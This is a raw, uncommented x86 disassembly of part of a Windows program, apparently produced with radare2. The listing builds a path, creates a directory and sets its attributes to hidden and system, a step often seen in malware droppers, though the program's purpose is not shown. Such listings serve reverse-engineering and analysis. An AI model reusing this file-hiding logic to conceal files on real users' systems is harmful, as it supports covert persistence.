lea esi, [esp + 0xb8]
call fcn.004014c0
lea edx, [esp + 0x78]
mov ecx, eax
mov byte [esp + 0x3f0], 0x5b
call fcn.00401640
mov byte [esp + 0x3f0], 0x5c
cmp dword [eax + 0x18], edi
jb 0x41b4d1
mov eax, dword [eax + 4]
jmp 0x41b4d4
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0xb0], esp
push eax
call fcn.00402b30
push ebp
mov byte [esp + 0x410], 0x60
call fcn.00429690
mov dword [esp + 0x18], eax
cmp dword [esp + 0x58], edi
jb 0x41b50b
mov edx, dword [esp + 0x44]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
call fcn.00429620
cmp dword [esp + 0x3c], edi
jb 0x41b537
mov eax, dword [esp + 0x28]
push eax
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0xbc]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
cmp dword [esp + 0x18], ebx
jge 0x41b5ee
lea ecx, [esp + 0x40]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x26
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455138
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x84]
call fcn.004014c0
mov byte [esp + 0x3bc], 0x61
call fcn.00401580
mov byte [esp + 0x3b8], 0x62
cmp dword [eax + 0x18], edi
jb 0x41b5b7
mov eax, dword [eax + 4]
jmp 0x41b5ba
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0xc
lea ecx, [esp + 0x40]
call fcn.00402ba0
lea esi, [esp + 0x64]
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
call fcn.00417de0
test eax, eax
je 0x41b5ee
call fcn.00406fe0
mov ecx, dword [ebp + 0x2e8]
sub ecx, dword [ebp + 0x2e4]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x41b6a8
lea ecx, [esp + 0x40]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x21
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455160
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x84]
call fcn.004014c0
mov byte [esp + 0x3bc], 0x63
call fcn.00401770
mov byte [esp + 0x3b8], 0x64
cmp dword [eax + 0x18], edi
jb 0x41b665
mov eax, dword [eax + 4]
jmp 0x41b668
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0xc
cmp dword [esp + 0x58], edi
jb 0x41b687
mov edx, dword [esp + 0x44]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x19c]
lea esi, [ebp + 0x260]
push eax
mov ecx, esi
call fcn.00402d10
mov eax, dword [ebp + 0x274]
cmp eax, ebx
je 0x41b706
dec eax
mov dword [esp + 0x18], eax
cmp dword [esi + 0x14], eax
ja 0x41b6dc
call fcn.00436f51
mov eax, dword [esp + 0x18]
cmp dword [esi + 0x18], edi
jb 0x41b6e6
mov esi, dword [esi + 4]
jmp 0x41b6e9
add esi, 4
cmp byte [eax + esi], 0x5c
je 0x41b706
push 0x5c
mov eax, 1
lea edi, [ebp + 0x260]
call fcn.00412ba0
mov edi, pe_nt_image_headers32
call fcn.00417960
lea eax, [esp + 0x40]
push eax
sub esp, 0x1c
mov dword [esp + 0x3d8], 0x1d
mov ecx, esp
mov dword [esp + 0x3c], esp
push 8
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push str.L:___
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x84]
call fcn.004014c0
mov byte [esp + 0x3bc], 0x67
call fcn.00401770
mov byte [esp + 0x3b8], 0x68
cmp dword [eax + 0x18], edi
jb 0x41b768
mov edx, dword [eax + 4]
jmp 0x41b76b
lea edx, [eax + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41b770
sub eax, esi
push eax
lea edi, [ebp + 0x260]
push edx
mov eax, edi
call fcn.00405ca0
cmp dword [esp + 0x58], 0x10
jb 0x41b79c
mov ecx, dword [esp + 0x44]
push ecx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x64]
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
push ebx
call fcn.00439283
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edi
mov byte [ecx + 4], bl
call fcn.00402d10
call fcn.0041cd30
cmp eax, ebx
mov esi, pe_nt_image_headers32
jge 0x41b8bf
cmp dword [edi + 0x18], esi
jb 0x41b7fe
mov eax, dword [edi + 4]
jmp 0x41b801
lea eax, [edi + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41b834
cmp dword [edi + 0x18], esi
jb 0x41b823
mov edi, dword [edi + 4]
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x41b8bf
add edi, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x41b8bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x24
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455190
lea edi, [esp + 0x68]
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x84]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x3bc], 0x69
call fcn.00401640
mov byte [esp + 0x3bc], 0x6a
cmp dword [eax + 0x18], 0x10
jb 0x41b891
mov eax, dword [eax + 4]
jmp 0x41b894
add eax, 4
push eax
push 1
push ebp
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x40]
call fcn.00402ba0
lea esi, [esp + 0x64]
mov byte [esp + 0x3b8], 0x1d
call fcn.00429620
mov esi, pe_nt_image_headers32
push 1
push 0x76c
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x328]
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x3f8], 0x6b
mov dword [esp + 0x60], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x1d8]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
lea ecx, [ebp + 0x138]
mov byte [esp + 0x3f8], 0x1d
call fcn.00404a30
cmp dword [esp + 0x3dc], esi
jb 0x41b941
mov edx, dword [esp + 0x3c8]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x3dc], edi
mov dword [esp + 0x3d8], ebx
mov byte [esp + 0x3c8], bl
cmp dword [esp + 0x3f8], esi
jb 0x41b96f
mov eax, dword [esp + 0x3e4]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x3f8], edi
mov dword [esp + 0x3f4], ebx
mov byte [esp + 0x3e4], bl
cmp dword [esp + 0x414], esi
jb 0x41b99d
mov ecx, dword [esp + 0x400]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x414], edi
mov dword [esp + 0x410], ebx
mov byte [esp + 0x400], bl
cmp dword [esp + 0x430], esi
jb 0x41b9cb
mov edx, dword [esp + 0x41c]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x430], edi
mov dword [esp + 0x42c], ebx
mov byte [esp + 0x41c], bl
cmp dword [esp + 0x44c], esi
jb 0x41b9f9
mov eax, dword [esp + 0x438]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x44c], edi
mov dword [esp + 0x448], ebx
mov byte [esp + 0x438], bl
cmp dword [esp + 0x468], esi
jb 0x41ba27
mov ecx, dword [esp + 0x454]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x468], edi
mov dword [esp + 0x464], ebx
mov byte [esp + 0x454], bl
cmp dword [esp + 0x484], esi
jb 0x41ba55
mov edx, dword [esp + 0x470]
push edx
call fcn.00437f8b
add esp, 4
mov eax, ebp
mov ecx, dword [esp + 0x3b0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x398]
xor ecx, esp
call fcn.00437983
add esp, 0x3a8
ret 0xc8